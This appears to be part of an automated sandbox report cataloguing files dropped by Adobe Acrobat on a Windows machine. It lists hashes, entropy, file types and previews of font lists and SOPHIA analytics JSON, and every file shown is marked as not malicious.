SSDEEP:	3:kkFkl4Tuvpk3/tfllXlE/HT8kQhlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKhTgpM/eT8fzdNMa8RdWBwRd
MD5:	77AC671CECFDD88976403226BEE27881
SHA1:	9A43AF9B16B36E9180AA40492C0AA4C4D35BE385
SHA-256:	DF60DBF793CCD7CD0FA1CB5ECAEA8EF80060017377C31FA91B0990355CEA47E1
SHA-512:	755C8D42FA9C0BB7A9EAA1B06A421E692E01149E3F1DA9527147C43CA666ADDA43F7B343A0B984BD8C87C5030B27B643D778D207CC58AA4ABE4D1C04E0EE9790
Malicious:	false
Preview:	p...... ...........c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5492

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5492

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3230850489047175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJM3g98kUwPeUkwRe9:YvXKXv6/CUYpW7blYGMbLUkee9
MD5:	A5C5AECA8C8AB62F21E3FDE89FDEF7B6
SHA1:	73BF9EA08C4AF3245BEBAC6B71B2887295B97EF0
SHA-256:	216E4E0DD48C682EF3651582BB26FF56D35D9744D7CADF3408CCD52D1B639039
SHA-512:	CAC3CDB1038DA0FB32686811D6C5DDE9FCB3CCA5E07DD5CD264C22232283A8437DFFFF7B3B0367939DAB3A725D8DB8E0B6DC4DEC55A621EBB483896B91051002
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2608546184830365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJfBoTfXpnrPeUkwRe9:YvXKXv6/CUYpW7blYGWTfXcUkee9
MD5:	4C1E58C2CDB8B432D2B85CE659E1CB15
SHA1:	57893E7C4EE39D74AF779DBF1B69F963558A7561
SHA-256:	E506C8A91E8CE01E64F380091C4BB128235792B1AF3D369E847C8B5324CE61E1
SHA-512:	E7653EA2E6DE42DB47017B516E5B757E7825DCC3D729F2B62C89B58245855AA55C6EE1E59190DF12ED945244FE092CF0A7E9A792FD04B54A76CB8F1039D6E157
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2400523664522405
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJfBD2G6UpnrPeUkwRe9:YvXKXv6/CUYpW7blYGR22cUkee9
MD5:	93F1AA8B69202765BD758860EFA95A07
SHA1:	DDACECDB907B890F204B1807CB68426A19294DB9
SHA-256:	60E5B53682CAA2786D7A95334581536B913A4C373709EE337B0D4CB294A2DF7F
SHA-512:	6BA13D7D60EAF0A63AAA7AAABE8DE5A7AA42CBFC1E1B891B27F5F037AB8AD729652445DC873FE1B6A4627E5C26DA4A8B851781F10816FD5D930A8B8DCF769C77
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.300564651561724
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJfPmwrPeUkwRe9:YvXKXv6/CUYpW7blYGH56Ukee9
MD5:	2C90514D5B2A75492A9E0A7C44C76EF1
SHA1:	6443BD41228D281A9031149C28BAEFF146BC64E2
SHA-256:	73D7FD16AE561EBB9A135499890ACDFCAB2BC3D973382E4A107AF247B525D621
SHA-512:	14B5F2E88C3FC195064AE0AA844D77294C5D946AB35A18F5A04BEEC11C75979D2EA33223D2FEDE2B7BFD97CC436C84161F62537A73FE1F4AEB31A824A30D4E2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685026995743545
Encrypted:	false
SSDEEP:	24:Yv6X7iTpLgE9cQx8LennAvzBvkn0RCmK8czOCCSRL:Yv5Thgy6SAFv5Ah8cv/RL
MD5:	1086BF1CD643BBF19993D2A23AAE2C8A
SHA1:	9881A47207EAF430ED6284D2455BFC1DB49676C1
SHA-256:	DE5E74B589C3FBA817633EE5E78A3D194F6818B64F67882F466D40E2497679A1
SHA-512:	ADB65C7FC041CAEDD11947DA204C30C2FEC89C97174B7BA5D6F149169FF3F595F875E5B0A8F3710E9A4677C7B4D0F2BB5D1382C94980C20596CBDD94A8E9D498
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.247270671103853
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJf8dPeUkwRe9:YvXKXv6/CUYpW7blYGU8Ukee9
MD5:	7924344DFB10F7B64E9F341FAAB30B66
SHA1:	6853FADB7357CD7D51261B49B59A1440B7987436
SHA-256:	960F82A1608849F66BDF80BF5CCF559E1EDBE1FEE30589164F7CEC26449002FE
SHA-512:	11D416C419E76578BE2D7B20101749439D0A9AA22096C7ABC9F205763388522CB3AFB6A58655A370251292C2D855F3240E0FFAC94ED0E0610338AF06E167AD40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2496420357216
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJfQ1rPeUkwRe9:YvXKXv6/CUYpW7blYGY16Ukee9
MD5:	66F54D5223F3F0B4578F3028810EAFD9
SHA1:	E86F3CE64961B63A32B6635F0D284EC313A62DE2
SHA-256:	1CFBE7CEDE9BA9E79ACB45C618C4A902D3EFEC6C9A41FC66F22368617BEB725E
SHA-512:	D93EDDAD419DB2D7E2649A8970A06D180811D3E63A8709202D7119ED40AAD18216D9ABE836C7239F300D55E4BD783976BC25E17C0BFDE9899CD1F255B4052B9C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267737045905211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJfFldPeUkwRe9:YvXKXv6/CUYpW7blYGz8Ukee9
MD5:	0C5FDCB5A9D461EE7C5177C923A13F82
SHA1:	9FE53C5EF00839C67192453D847E499FBF6C179C
SHA-256:	02FE4B7DB8A8E0BB6DC8C6A2BD44BA85DCE0DFD09F60DD6552953C8302603588
SHA-512:	176F901A39BF5C13E2A4049C9676A9945B26B41DCDE7FE998EBA1656120EF3AB5735469661A6B2153EFBAB185FBA603C5FDCF85F82B381375FB4D210999240AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.274233682232876
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJfzdPeUkwRe9:YvXKXv6/CUYpW7blYGb8Ukee9
MD5:	857294F5EDDCA725A2070A8CDD847977
SHA1:	A6369993EC4ECDF9876F6A157BF32824F49149B3
SHA-256:	C3BAB12BA23AE08E16FB5330359EC6A72FB163E1612373158DE29F17C0B0ADB9
SHA-512:	D923330A3F50F312353A911DAB8013EA446DC4C6171D92596121E7BFF2950B22C7BA6E5AE4199387E56C08F891872CEF4F3DB977B4A71CB62EB0D86776EF0CB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.254480808347391
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJfYdPeUkwRe9:YvXKXv6/CUYpW7blYGg8Ukee9
MD5:	8D606BFBCB3BB20F038EE6F81979951B
SHA1:	1535E493C5FD8344C97FBE47C8B7071A14CD07B0
SHA-256:	347962E9595B2EFCE3B848EC1F2A7F6564652E69334CDF8E340E47DD8702979C
SHA-512:	72B27A79093D2BCDD9F7E8D7A3099D4EAE485889B3BF7C001FD7E62BB6C3EAB95617F7EF7D7AA132B355288CA7A075C4C5E005282E25C5874B4838B4DBE152A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2397297869510275
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJf+dPeUkwRe9:YvXKXv6/CUYpW7blYG28Ukee9
MD5:	56DF41E44BDBF5971570AF912CD4313A
SHA1:	B68CA5C0CB57ADE3AA0A1F5C4CC8D9FFB55A064A
SHA-256:	6D00AC776B21EE42C1655AA69FE0A48EF2C0869929514764AB26A6D9F5B8C831
SHA-512:	C383E001E2A732ED4C8B0C29ED750AA77ACBA69453B607B820B1EA3B12B601C0C77B15AC6ACBAB745F1E915BB68AC1EB91FF5E01B0448BC051CB8805BB85A5FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.23834075269928
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJfbPtdPeUkwRe9:YvXKXv6/CUYpW7blYGDV8Ukee9
MD5:	FA031FCAA11DF204611B5C6BEB3FE1D6
SHA1:	879A2B8960DC91DC187811AD7FFE62636A88EF22
SHA-256:	4C8275A6ECB4FC6DE5DA09F148E8D2612518668CC61AAA91A9CCC19E3F9D7F60
SHA-512:	583FAA0B73BE967C8F61157D3570E9BA26C672B8943363A7D727B2785C6864116226F4AA059A7F07A471579C0A6455C2107F41F0BFDC01F70F1E58F1836BB0B2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.239959195147487
Encrypted:	false
SSDEEP:	6:YEQXJ2HXv6aIQtHx+FIbRI6XVW7+0Yql3oAvJf21rPeUkwRe9:YvXKXv6/CUYpW7blYG+16Ukee9
MD5:	215D05050A2C8FDDD4E835714695783E
SHA1:	3526BCA3E856C6C58872B4147FDDA883CB96A79C
SHA-256:	B32CBC48D1D3182A8F1C52C32E468C23D92C61DE2A1CCF0C602F385CB165B745
SHA-512:	360CD6BBB728FA540E53C4598FB2E75CA5FC507E1A8F9F38244DA353E98A463244C910F364DF98536D321ECF3DCD9E49A568DDDEAAC173179C721B0666C138F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ea34af92-a239-4f1a-9fd4-f83605642504","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709459929,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.65750658127952
Encrypted:	false
SSDEEP:	24:Yv6X7ijamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSRL:Yv5TBgkDMUJUAh8cvMRL
MD5:	8DC1E9DEFBD79672A389906B352692A7
SHA1:	E0C3835138B8101E855278F2F7CC0164488EDD1F
SHA-256:	3FB736F9E8E96330F3E04AC219F05735A19AFFDF6986FE7401C4A4ADCAE51F69
